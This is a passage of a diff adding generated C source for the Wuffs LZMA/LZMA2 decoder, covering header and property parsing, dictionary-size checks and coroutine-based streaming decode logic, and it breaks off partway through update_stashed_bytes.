(((uint32_t)(1u)) << (v_v & 31u)); -+ wuffs_private_impl__u32__sat_sub_indirect(&v_n, ((v_n >> 4u) * ((v_v >> 5u) & 7u))); -+ if ((v_n < 4096u) || (536870912u < v_n)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ self->private_impl.f_dict_size = v_n; -+ return wuffs_base__make_status(NULL); -+ } -+ } else if ((a_value & 255u) == 2u) { -+ if ((a_value >> 8u) <= 40u) { -+ self->private_impl.f_format_extension = ((uint32_t)(a_value)); -+ v_v = (self->private_impl.f_format_extension >> 8u); -+ if (v_v < 40u) { -+ self->private_impl.f_dict_size = ((2u | (v_v & 1u)) << ((v_v >> 1u) + 11u)); -+ } else { -+ self->private_impl.f_dict_size = 4294967295u; -+ } -+ return wuffs_base__make_status(NULL); -+ } -+ } -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+} -+ -+// -------- func lzma.decoder.dst_history_retain_length -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 -+wuffs_lzma__decoder__dst_history_retain_length( -+ const wuffs_lzma__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__make_optional_u63(false, 0u); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__make_optional_u63(false, 0u); -+ } -+ -+ return wuffs_base__utility__make_optional_u63(true, 0u); -+} -+ -+// -------- func lzma.decoder.workbuf_len -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_lzma__decoder__workbuf_len( -+ const wuffs_lzma__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ -+ uint64_t v_m = 0; -+ -+ if (self->private_impl.f_dict_size == 0u) { -+ return wuffs_base__utility__make_range_ii_u64(0u, 0u); -+ } -+ v_m = (((uint64_t)(self->private_impl.f_dict_size)) + 273u); -+ return wuffs_base__utility__make_range_ii_u64(v_m, v_m); -+} -+ -+// -------- func lzma.decoder.transform_io -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_lzma__decoder__transform_io( -+ wuffs_lzma__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 1)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint64_t v_mark = 0; -+ wuffs_base__status v_dti_status = wuffs_base__make_status(NULL); -+ wuffs_base__status v_ah_status = wuffs_base__make_status(NULL); -+ -+ uint8_t* iop_a_dst = NULL; -+ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_transform_io; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); -+ { -+ if (a_dst) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ wuffs_base__status t_0 = wuffs_lzma__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); -+ v_dti_status = t_0; -+ if (a_dst) { -+ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -+ } -+ } -+ if ( ! wuffs_base__status__is_suspension(&v_dti_status)) { -+ status = v_dti_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } else if ((v_dti_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_lzma__error__truncated_input); -+ goto exit; -+ } -+ v_ah_status = wuffs_lzma__decoder__add_history(self, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst), a_workbuf); -+ if (wuffs_base__status__is_error(&v_ah_status)) { -+ status = v_ah_status; -+ goto exit; -+ } -+ status = v_dti_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_transform_io = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+ -+ goto exit; -+ exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func lzma.decoder.do_transform_io -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_lzma__decoder__do_transform_io( -+ wuffs_lzma__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_header_byte = 0; -+ uint8_t v_c8 = 0; -+ uint32_t v_c32 = 0; -+ uint8_t v_prop_byte = 0; -+ uint32_t v_lc = 0; -+ uint32_t v_lp = 0; -+ uint32_t v_pb = 0; -+ uint32_t v_length = 0; -+ uint32_t v_n_copied = 0; -+ uint64_t v_smark = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint8_t* iop_a_dst = NULL; -+ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; -+ if (coro_susp_point) { -+ v_header_byte = self->private_data.s_do_transform_io.v_header_byte; -+ v_length = self->private_data.s_do_transform_io.v_length; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ self->private_impl.f_lzma2_need_prob_reset = true; -+ self->private_impl.f_lzma2_need_properties = true; -+ self->private_impl.f_lzma2_need_dict_reset = true; -+ while (true) { -+ if ((self->private_impl.f_format_extension & 255u) == 0u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_prop_byte = t_0; -+ } -+ if (v_prop_byte >= 225u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__bad_header); -+ goto exit; -+ } -+ v_lc = ((uint32_t)(((uint8_t)(v_prop_byte % 9u)))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_prop_byte /= 9u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ v_lp = ((uint32_t)(((uint8_t)(v_prop_byte % 5u)))); -+ v_pb = ((uint32_t)(((uint8_t)(v_prop_byte / 5u)))); -+ if ((v_lc + v_lp) > 4u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__unsupported_properties); -+ goto exit; -+ } -+ self->private_impl.f_lc = wuffs_base__u32__min(v_lc, 4u); -+ self->private_impl.f_lp = v_lp; -+ self->private_impl.f_pb = v_pb; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ uint32_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -+ if (num_bits_1 == 24) { -+ t_1 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)) << 56; -+ } -+ } -+ v_c32 = t_1; -+ } -+ self->private_impl.f_dict_size = wuffs_base__u32__max(v_c32, 4096u); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ uint64_t t_2; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { -+ t_2 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); -+ iop_a_src += 8; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; -+ if (num_bits_2 == 56) { -+ t_2 = ((uint64_t)(*scratch)); -+ break; -+ } -+ num_bits_2 += 8u; -+ *scratch |= ((uint64_t)(num_bits_2)) << 56; -+ } -+ } -+ self->private_impl.f_decoded_length = t_2; -+ } -+ if ((self->private_impl.f_decoded_length >= 9223372036854775808u) && (self->private_impl.f_decoded_length != 18446744073709551615u)) { -+ status = wuffs_base__make_status(wuffs_lzma__error__unsupported_decoded_length); -+ goto exit; -+ } -+ wuffs_lzma__decoder__initialize_probs(self); -+ } else if ((self->private_impl.f_format_extension & 255u) == 1u) { -+ self->private_impl.f_lc = 3u; -+ self->private_impl.f_lp = 0u; -+ self->private_impl.f_pb = 2u; -+ self->private_impl.f_decoded_length = 18446744073709551615u; -+ wuffs_lzma__decoder__initialize_probs(self); -+ } else { -+ while (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); -+ } -+ if (wuffs_base__peek_u8be__no_bounds_check(iop_a_src) == 0u) { -+ iop_a_src += 1u; -+ break; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_3 = *iop_a_src++; -+ v_header_byte = t_3; -+ } -+ if (v_header_byte < 128u) { -+ if (v_header_byte < 2u) { -+ self->private_impl.f_lzma2_need_prob_reset = true; -+ self->private_impl.f_lzma2_need_properties = true; -+ self->private_impl.f_lzma2_need_dict_reset = false; -+ wuffs_lzma__decoder__initialize_dict(self); -+ } else if ((v_header_byte > 2u) || self->private_impl.f_lzma2_need_dict_reset) { -+ status = wuffs_base__make_status(wuffs_lzma__error__bad_lzma2_header); -+ goto exit; -+ } -+ self->private_impl.f_prev_lzma2_chunk_was_uncompressed = true; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ uint32_t t_4; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_4 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); -+ if (num_bits_4 == 8) { -+ t_4 = ((uint32_t)(*scratch >> 48)); -+ break; -+ } -+ num_bits_4 += 8u; -+ *scratch |= ((uint64_t)(num_bits_4)); -+ } -+ } -+ v_c32 = t_4; -+ } -+ v_length = (1u + v_c32); -+ while (true) { -+ v_n_copied = wuffs_private_impl__io_writer__limited_copy_u32_from_reader( -+ &iop_a_dst, io2_a_dst,v_length, &iop_a_src, io2_a_src); -+ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_stashed_pos, ((uint64_t)(v_n_copied))); -+ if (v_length <= v_n_copied) { -+ break; -+ } -+ v_length -= v_n_copied; -+ if (((uint64_t)(io2_a_dst - iop_a_dst)) == 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); -+ } else { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); -+ } -+ } -+ continue; -+ } -+ self->private_impl.f_decoded_length = ((uint64_t)(v_header_byte)); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); -+ uint32_t t_5; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_5 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); -+ if (num_bits_5 == 8) { -+ t_5 = ((uint32_t)(*scratch >> 48)); -+ break; -+ } -+ num_bits_5 += 8u; -+ *scratch |= ((uint64_t)(num_bits_5)); -+ } -+ } -+ v_c32 = t_5; -+ } -+ self->private_impl.f_decoded_length = (((self->private_impl.f_decoded_length & 31u) << 16u) + ((uint64_t)((1u + v_c32)))); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); -+ uint32_t t_6; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_6 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_6 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_6); -+ if (num_bits_6 == 8) { -+ t_6 = ((uint32_t)(*scratch >> 48)); -+ break; -+ } -+ num_bits_6 += 8u; -+ *scratch |= ((uint64_t)(num_bits_6)); -+ } -+ } -+ v_c32 = t_6; -+ } -+ self->private_impl.f_lzma2_encoded_length_want = ((uint64_t)((1u + v_c32))); -+ if (v_header_byte >= 160u) { -+ wuffs_lzma__decoder__initialize_probs(self); -+ self->private_impl.f_lzma2_need_prob_reset = false; -+ } -+ if (v_header_byte >= 192u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_7 = *iop_a_src++; -+ v_prop_byte = t_7; -+ } -+ if (v_prop_byte >= 225u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__bad_lzma2_header); -+ goto exit; -+ } -+ v_lc = ((uint32_t)(((uint8_t)(v_prop_byte % 9u)))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_prop_byte /= 9u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ v_lp = ((uint32_t)(((uint8_t)(v_prop_byte % 5u)))); -+ v_pb = ((uint32_t)(((uint8_t)(v_prop_byte / 5u)))); -+ if ((v_lc + v_lp) > 4u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__bad_lzma2_header); -+ goto exit; -+ } -+ self->private_impl.f_lc = wuffs_base__u32__min(v_lc, 4u); -+ self->private_impl.f_lp = v_lp; -+ self->private_impl.f_pb = v_pb; -+ self->private_impl.f_lzma2_need_properties = false; -+ } -+ if (v_header_byte >= 224u) { -+ self->private_impl.f_lzma2_need_dict_reset = false; -+ wuffs_lzma__decoder__initialize_dict(self); -+ } else if (self->private_impl.f_prev_lzma2_chunk_was_uncompressed) { -+ if (a_dst) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); -+ status = wuffs_lzma__decoder__update_stashed_bytes(self, a_dst, a_workbuf); -+ if (a_dst) { -+ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } -+ self->private_impl.f_prev_lzma2_chunk_was_uncompressed = false; -+ if (self->private_impl.f_lzma2_need_prob_reset || self->private_impl.f_lzma2_need_properties || self->private_impl.f_lzma2_need_dict_reset) { -+ status = wuffs_base__make_status(wuffs_lzma__error__bad_lzma2_header); -+ goto exit; -+ } -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_8 = *iop_a_src++; -+ v_c8 = t_8; -+ } -+ if ((v_c8 != 0u) && ! self->private_impl.f_allow_non_zero_initial_byte) { -+ status = wuffs_base__make_status(wuffs_lzma__error__bad_code); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); -+ uint32_t t_9; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_9 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_9 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_9); -+ if (num_bits_9 == 24) { -+ t_9 = ((uint32_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_9 += 8u; -+ *scratch |= ((uint64_t)(num_bits_9)); -+ } -+ } -+ self->private_impl.f_stashed_bits = t_9; -+ } -+ if (self->private_impl.f_stashed_bits == 4294967295u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__bad_code); -+ goto exit; -+ } -+ self->private_impl.f_stashed_range = 4294967295u; -+ self->private_impl.f_stashed_pos_end = wuffs_base__u64__sat_add(self->private_impl.f_stashed_pos, self->private_impl.f_decoded_length); -+ if ((self->private_impl.f_stashed_pos_end == 18446744073709551615u) && (self->private_impl.f_decoded_length != 18446744073709551615u)) { -+ status = wuffs_base__make_status(wuffs_lzma__error__unsupported_decoded_length); -+ goto exit; -+ } -+ self->private_impl.f_lzma2_encoded_length_have = 5u; -+ while (((uint64_t)(a_workbuf.len)) < (((uint64_t)(self->private_impl.f_dict_size)) + 273u)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_workbuf); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(21); -+ } -+ while (true) { -+ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); -+ { -+ if (a_dst) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ wuffs_base__status t_10 = wuffs_lzma__decoder__decode_bitstream(self, a_dst, a_src, a_workbuf); -+ v_status = t_10; -+ if (a_dst) { -+ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -+ } -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } -+ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_lzma2_encoded_length_have, wuffs_private_impl__io__count_since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)))); -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(22); -+ } -+ if (self->private_impl.f_decoded_length == 18446744073709551615u) { -+ if (self->private_impl.f_stashed_bits != 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__bad_bitstream_trailer); -+ goto exit; -+ } -+ } else if (self->private_impl.f_stashed_pos != self->private_impl.f_stashed_pos_end) { -+ status = wuffs_base__make_status(wuffs_lzma__error__bad_decoded_length); -+ goto exit; -+ } else if (self->private_impl.f_stashed_bits != 0u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); -+ status = wuffs_lzma__decoder__decode_optional_end_of_stream(self, a_src, a_workbuf); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ if (self->private_impl.f_stashed_bits != 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__bad_bitstream_trailer); -+ goto exit; -+ } -+ } -+ if ((self->private_impl.f_format_extension & 255u) < 2u) { -+ break; -+ } else if (self->private_impl.f_lzma2_encoded_length_have != self->private_impl.f_lzma2_encoded_length_want) { -+ status = wuffs_base__make_status(wuffs_lzma__error__bad_lzma2_header); -+ goto exit; -+ } -+ } -+ -+ ok: -+ self->private_impl.p_do_transform_io = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_do_transform_io.v_header_byte = v_header_byte; -+ self->private_data.s_do_transform_io.v_length = v_length; -+ -+ goto exit; -+ exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func lzma.decoder.decode_bitstream -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_lzma__decoder__decode_bitstream( -+ wuffs_lzma__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_bitstream; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ self->private_impl.f_end_of_chunk = false; -+ while (true) { -+ v_status = wuffs_lzma__decoder__decode_bitstream_fast(self, a_dst, a_src, a_workbuf); -+ if (wuffs_base__status__is_error(&v_status)) { -+ status = v_status; -+ goto exit; -+ } -+ if (self->private_impl.f_end_of_chunk) { -+ break; -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_lzma__decoder__decode_bitstream_slow(self, a_dst, a_src, a_workbuf); -+ if (status.repr) { -+ goto suspend; -+ } -+ if (self->private_impl.f_end_of_chunk) { -+ break; -+ } -+ } -+ -+ goto ok; -+ ok: -+ self->private_impl.p_decode_bitstream = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_bitstream = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ return status; -+} -+ -+// -------- func lzma.decoder.update_stashed_bytes -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_lzma__decoder__update_stashed_bytes( -+ wuffs_lzma__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint32_t v_dist = 0; -+ uint32_t v_which = 0; -+ uint32_t v_adj_dist = 0; -+ uint64_t v_wb_index = 0; -+ -+ uint8_t* iop_a_dst = NULL; -+ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_update_stashed_bytes; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_write); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ v_dist = 1u; -+ v_which = 0u; -+ while (v_which < 2u) { -+ if (((uint64_t)(v_dist)) <= ((uint64_t)(iop_a_dst - io0_a_dst))) { -+ 